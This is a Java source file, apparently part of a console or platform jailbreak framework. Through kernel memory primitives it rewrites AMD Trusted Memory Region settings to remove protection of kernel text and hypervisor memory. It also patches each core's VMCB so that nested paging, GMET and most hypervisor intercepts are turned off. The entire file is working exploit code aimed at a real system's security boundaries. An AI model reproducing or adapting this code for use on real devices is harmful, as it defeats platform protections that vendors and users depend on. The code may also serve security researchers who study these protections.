HvExploit.java

March 15, 2026 ยท View on GitHub

package org.exploit;

import java.util.ArrayList;

import org.bootstrap.Log;

import org.exploit.structs.Cpuset; import org.exploit.structs.TmrRegionConfig;

public class HvExploit { public static final int D18F2_BUS = 0x0; public static final int D18F2_SLOT = 0x18; public static final int D18F2_FUNC = 0x2;

// D18F2x080: TMRIndexRegister: TMR Index Register
public static final long TMR_INDEX_REGISTER_ADDRESS;

// D18F2x084: TMRDataPortRegister: TMR Data Port Register
public static final long TMR_DATA_PORT_REGISTER_ADDRESS;

//-------------------------------------------------------------------------

private static final Api api = Api.getInstance();

static {
	TMR_INDEX_REGISTER_ADDRESS = Helpers.getPCIConfigDmapAddress(D18F2_BUS, D18F2_SLOT, D18F2_FUNC, 0x80);
	TMR_DATA_PORT_REGISTER_ADDRESS = Helpers.getPCIConfigDmapAddress(D18F2_BUS, D18F2_SLOT, D18F2_FUNC, 0x84);
}

private HvExploit() {
}

//-------------------------------------------------------------------------

public static TmrRegionConfig getTmrRegionConfig(int index) {
	final int offset = index * 0x10;
	final int baseAddressIndex = offset + 0x0; // TmrBaseAddr: Trusted Memory Region Base Address [47:16]
	final int limitAddressIndex = offset + 0x4; // TmrLimitAddr: Trusted Memory Region Limit Address [47:16]
	final int ctlIndex = offset + 0x8; // TmrCtl: Trusted Memory Region Control
	final int fidIndex = offset + 0xC; // TmrFid: Trusted Memory Region FabridId & UnitId

	final long addressMask = MathUtil.generateMask64(16, 63);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, baseAddressIndex);
	final int baseTruncAddress = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, limitAddressIndex);
	final int limitTruncAddress = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, ctlIndex);
	final int ctl = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, fidIndex);
	final int fid = api.readKernel32(TMR_DATA_PORT_REGISTER_ADDRESS);

	final long baseAddress = ((long)baseTruncAddress << 16) & addressMask;
	final long limitAddress = ((long)limitTruncAddress << 16) & addressMask;

	return new TmrRegionConfig(baseAddress, limitAddress, ctl, fid);
}

public static boolean setTmrRegionConfig(int index, TmrRegionConfig cfg) {
	Checks.ensureNotNull(cfg);

	final int offset = index * 0x10;
	final int baseAddressIndex = offset + 0x0; // TmrBaseAddr: Trusted Memory Region Base Address [47:16]
	final int limitAddressIndex = offset + 0x4; // TmrLimitAddr: Trusted Memory Region Limit Address [47:16]
	final int ctlIndex = offset + 0x8; // TmrCtl: Trusted Memory Region Control
	final int fidIndex = offset + 0xC; // TmrFid: Trusted Memory Region FabridId & UnitId

	final long addressMask = MathUtil.generateMask64(16, 63);

	final int baseTruncAddress = (int)((cfg.getBaseAddress() & addressMask) >>> 16);
	final int limitTruncAddress = (int)((cfg.getLimitAddress() & addressMask) >>> 16);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, baseAddressIndex);
	api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, baseTruncAddress);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, limitAddressIndex);
	api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, limitTruncAddress);

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, fidIndex);
	api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, cfg.getFid());

	api.writeKernel32(TMR_INDEX_REGISTER_ADDRESS, ctlIndex);
	api.writeKernel32(TMR_DATA_PORT_REGISTER_ADDRESS, cfg.getCtl());

	return true;
}

//-------------------------------------------------------------------------

public static boolean disableKernelMemoryProtection() {
	final long kernelTextBasePhysAddress = MemoryUtil.getPhysAddressFromKernelVirtualAddress(Globals.kernelTextBaseAddress);
	if (kernelTextBasePhysAddress == 0L) {
		Log.warn("Getting kernel text base physical address failed");
		return false;
	}

	return disableMemoryProtectionInternal("kernel", kernelTextBasePhysAddress, Constants.PAGE_SIZE);
}

public static boolean disableHypervisorMemoryProtection() {
	return disableMemoryProtectionInternal("hypervisor", Constants.HV_REGION_BASE, Constants.PAGE_SIZE);
}

public static boolean disableMemoryProtectionInternal(String name, long basePhysAddress, int size) {
	Checks.ensureTrue(size > 0);

	Log.debug("Base physical address of " + name +": " + TypeUtil.int64ToHex(basePhysAddress));

	int index = -1;

	final ArrayList<TmrRegionConfig> configs = new ArrayList<TmrRegionConfig>();

	for (int i = Constants.MAX_TMR_REGIONS - 1; i >= 0; i--) {
		final TmrRegionConfig cfg = getTmrRegionConfig(i);
		if (cfg == null) {
			Log.warn("Getting TMR cfg #" + i + " failed");
			continue;
		}

		final int ctl = cfg.getCtl();

		if (TypeUtil.compareUnsigned(basePhysAddress, cfg.getBaseAddress()) >= 0 && TypeUtil.compareUnsigned(basePhysAddress + size - 1, cfg.getLimitAddress()) <= 0) {
			Log.debug("Found TMR of " + name + " with index: " + i);
			configs.add(cfg);
			index = i;
		}

		cfg.dump(i);
	}

	if (index == -1) {
		Log.warn("TMR of " + name + " not found");
		return false;
	} else if (configs.size() > 1) {
		Log.warn("Multiple TMR of " + name + " found");
		return false;
	}

	final TmrRegionConfig cfg = configs.get(0);
	if (cfg.getVal() == 0) {
		Log.debug("TMR is not valid (already disabled?)");
		return true;
	}

	Log.debug("Old TMR CTL: " + TypeUtil.int32ToHex(cfg.getCtl()));
	Log.debug("Old TMR FID: " + TypeUtil.int32ToHex(cfg.getFid()));

	cfg.setCtl(0); // Original value: 0x407
	cfg.setFid(0); // Original value: 0x0

	cfg.setVal(1); // Valid
	cfg.setWE(1); // Write Enable
	cfg.setCE(1); // Cacheable Access Enable
	cfg.setSaeSMU(1); // Source Access Enabled for SMU
	cfg.setSaePIE(1); // Source Access Enabled for PIE
	cfg.setSaeCCM(1); // Source Access Enabled for CCM
	cfg.setSaeGFX(1); // Source Access Enabled for GCM/GUS
	cfg.setSaeNCM(1); // Source Access Enabled for NCM
	cfg.setSaeIOM(1); // Source Access Enabled for IOM

	Log.debug("New TMR CTL: " + TypeUtil.int32ToHex(cfg.getCtl()));
	Log.debug("New TMR FID: " + TypeUtil.int32ToHex(cfg.getFid()));

	//Log.debug("Setting new TMR config #" + index);
	if (!setTmrRegionConfig(index, cfg)) {
		Log.warn("Setting new TMR config #" + index + " failed");
		return false;
	}

	return true;
}

public static boolean disableMemoryProtectionInternalOld(String name, long basePhysAddress, int size) {
	Log.debug("Base physical address of " + name +": " + TypeUtil.int64ToHex(basePhysAddress));

	int targetTmrIndex = -1;
	int freeTmrIndex = -1;

	final TmrRegionConfig[] configs = new TmrRegionConfig[Constants.MAX_TMR_REGIONS];

	for (int i = configs.length - 1; i >= 0; i--) {
		final TmrRegionConfig cfg = getTmrRegionConfig(i);
		if (cfg == null) {
			Log.warn("Getting TMR #" + i + " config failed");
			continue;
		}

		final int ctl = cfg.getCtl();

		if (cfg.getSaeCCM() == 1) {
			if (TypeUtil.compareUnsigned(cfg.getBaseAddress(), basePhysAddress) <= 0 && TypeUtil.compareUnsigned(basePhysAddress + size, cfg.getLimitAddress()) < 0) {
				targetTmrIndex = i;
			}
		} else {
			if (freeTmrIndex == -1) {
				freeTmrIndex = i;
			}
		}

		configs[i] = cfg;

		cfg.dump(i);
	}

	if (targetTmrIndex == -1) {
		Log.warn("TMR of " + name + " not found");
		return false;
	}
	Log.debug("Found TMR of " + name + " with index: " + targetTmrIndex);

	if (configs[targetTmrIndex].getVal() == 0) {
		Log.debug("Kernel TMR is not valid (already disabled?)");
		return true;
	}

	TmrRegionConfig newConfig = configs[targetTmrIndex].clone();

	Log.debug("Old TMR CTL: " + TypeUtil.int32ToHex(newConfig.getCtl()));
	Log.debug("Old TMR FID: " + TypeUtil.int32ToHex(newConfig.getFid()));

	newConfig.setCtl(0); // Original value: 0x407
	newConfig.setFid(0); // Original value: 0x0

	newConfig.setVal(1); // Valid
	newConfig.setWE(1); // Write Enable
	newConfig.setCE(1); // Cacheable Access Enable
	newConfig.setSaeSMU(1); // Source Access Enabled for SMU
	newConfig.setSaePIE(1); // Source Access Enabled for PIE
	newConfig.setSaeCCM(1); // Source Access Enabled for CCM
	newConfig.setSaeGFX(1); // Source Access Enabled for GCM/GUS
	newConfig.setSaeNCM(1); // Source Access Enabled for NCM
	newConfig.setSaeIOM(1); // Source Access Enabled for IOM

	Log.debug("New TMR CTL: " + TypeUtil.int32ToHex(newConfig.getCtl()));
	Log.debug("New TMR FID: " + TypeUtil.int32ToHex(newConfig.getFid()));

	//Log.debug("Setting new TMR config #" + targetTmrIndex + " for kernel");
	if (!setTmrRegionConfig(targetTmrIndex, newConfig)) {
		Log.warn("Setting new TMR config #" + targetTmrIndex + " for kernel failed");
		return false;
	}

	return true;
}

//-------------------------------------------------------------------------

public static long getVCPUVirtualAddress(int coreId) {
	Checks.ensureTrue(coreId >= 0 && coreId < Constants.VM_MAXCPU);

	Checks.ensureNotZero(Offsets.addressOf_kernel__hv_vm_area_start);

	return Offsets.addressOf_kernel__hv_vm_area_start + Constants.VM_MAXCPU * Offsets.sizeOf_vcpu + 0x8 + coreId * Offsets.sizeOf_vcpu;
}

public static long[] getVMCBAddresses(int coreId) {
	final long vcpuVirtAddress = getVCPUVirtualAddress(coreId);
	Log.debug("VCPU virtual address: " + TypeUtil.int64ToHex(vcpuVirtAddress));

	final long vcpuPhysAddress = MemoryUtil.getPhysAddressFromKernelVirtualAddress(vcpuVirtAddress);
	if (vcpuPhysAddress == 0L) {
		Log.warn("Getting VCPU physical address failed");
		return null;
	}
	Log.debug("VCPU physical address: " + TypeUtil.int64ToHex(vcpuPhysAddress));

	final long vmcbVirtAddress = api.readPhysical64(vcpuPhysAddress + Offsets.offsetOf_vcpu_vmcb_va);
	if (vmcbVirtAddress == 0L || vmcbVirtAddress == -1L) {
		Log.warn("Bad VMCB virtual address " + TypeUtil.int64ToHex(vmcbVirtAddress) + " (hypervisor issue?)");
		return null;
	}
	Log.debug("VMCB virtual address: " + TypeUtil.int64ToHex(vmcbVirtAddress));

	final long vmcbPhysAddress = MemoryUtil.getPhysAddressFromKernelVirtualAddress(vmcbVirtAddress);
	if (vmcbPhysAddress == 0L) {
		Log.warn("Getting VMCB physical address failed");
		return null;
	}
	Log.debug("VMCB physical address: " + TypeUtil.int64ToHex(vmcbPhysAddress));

	return new long[] { vmcbVirtAddress, vmcbPhysAddress };
}

//-------------------------------------------------------------------------

public static boolean disarmEmbeddedHypervisorForSpecificCore(int coreId) {
	final long[] vmcbAddresses = getVMCBAddresses(coreId);
	if (vmcbAddresses == null) {
		Log.warn("Getting VMCB address failed");
		return false;
	}

	final long vmcbVirtAddress = vmcbAddresses[0];
	final long vmcbPhysAddress = vmcbAddresses[1];

	int value32;
	long value64;

	// Read old VMCB.
	final MemoryBuffer buffer = api.readPhysicalBuffer(vmcbPhysAddress + Offsets.offsetOf_vmcb_ctrl, Offsets.sizeOf_vmcb_ctrl);

	// Disable GMET and NP in NP CTRL.
	value64 = buffer.read64(Offsets.offsetOf_vmcb_ctrl_np_ctrl); // 0x9
	Log.debug("Old NP ctrl: " + TypeUtil.int64ToHex(value64));
	value64 = MathUtil.updateBits64(value64, 0, 0, 0 + 1 - 1); // NP enable = 0
	value64 = MathUtil.updateBits64(value64, 0, 3, 3 + 1 - 1); // GMET enable = 0
	Log.debug("New NP ctrl: " + TypeUtil.int64ToHex(value64));
	buffer.write64(Offsets.offsetOf_vmcb_ctrl_np_ctrl, value64); // 0x0

	// Disable interception of CRx writes.
	value32 = buffer.read32(Offsets.offsetOf_vmcb_ctrl_cr_intercepts); // 0x100000
	Log.debug("Old CR intercepts: " + TypeUtil.int32ToHex(value32));
	value32 = 0;
	Log.debug("New CR intercepts: " + TypeUtil.int32ToHex(value32));
	buffer.write32(Offsets.offsetOf_vmcb_ctrl_cr_intercepts, value32); // 0x0

	// Disable general #1 interceptions.
	value32 = buffer.read32(Offsets.offsetOf_vmcb_ctrl_general1_intercepts); // 0x10400020
	Log.debug("Old general #1 intercepts: " + TypeUtil.int32ToHex(value32));
	value32 = MathUtil.clearField32(value32, ~(1 << 18)); // Keep interception of CPUID instruction
	Log.debug("New general #1 intercepts: " + TypeUtil.int32ToHex(value32));
	buffer.write32(Offsets.offsetOf_vmcb_ctrl_general1_intercepts, value32); // 0x0

	// Disable general #2 interceptions.
	value32 = buffer.read32(Offsets.offsetOf_vmcb_ctrl_general2_intercepts); // 0x407F
	Log.debug("Old general #2 intercepts: " + TypeUtil.int32ToHex(value32));
	value32 = MathUtil.clearField32(value32, ~( // Keep interception of some instructions
		(1 << 0) | // VMRUN
		(1 << 1) | // VMMCALL
		(1 << 2) | // VMLOAD
		(1 << 3) // VMSAVE
	));
	Log.debug("New general #2 intercepts: " + TypeUtil.int32ToHex(value32));
	buffer.write32(Offsets.offsetOf_vmcb_ctrl_general2_intercepts, value32); // 0xF

	// Write new VMCB.
	api.writePhysicalBuffer(vmcbPhysAddress + Offsets.offsetOf_vmcb_ctrl, buffer);

	return true;
}

public static boolean disarmExternalHypervisor() {
	// TODO: Need to implement.
	return true;
}

public static boolean disarmEmbeddedHypervisor() {
	final int coreId = ThreadUtil.getCurrentCpuCoreId();
	if (coreId == -1) {
		Log.warn("Getting CPU core ID failed");
		return false;
	}
	Log.debug("Current core id: " + coreId);

	final Cpuset initialCpuAffinity = ThreadUtil.getCurrentThreadCpuAffinity();
	if (initialCpuAffinity == null) {
		Log.warn("Getting CPU affinity mask failed");
		return false;
	}

	final Cpuset newCpuAffinity = new Cpuset(coreId);
	if (!ThreadUtil.setCurrentThreadCpuAffinity(newCpuAffinity)) {
		Log.warn("Pinning main thread to core #" + coreId + " failed");
		return false;
	}

	boolean status = true;

	for (int i = 0; i < Constants.VM_MAXCPU; i++) {
		Log.debug("Disarming hypervisor for core #" + i);
		if (!disarmEmbeddedHypervisorForSpecificCore(i)) {
			Log.warn("Disarming hypervisor for core #" + i + " failed");
			status = false;
		}
	}

	if (!ThreadUtil.setCurrentThreadCpuAffinity(initialCpuAffinity)) {
		Log.warn("Unpinning main thread from core #" + coreId + " failed");
		return false;
	}

	return status;
}

}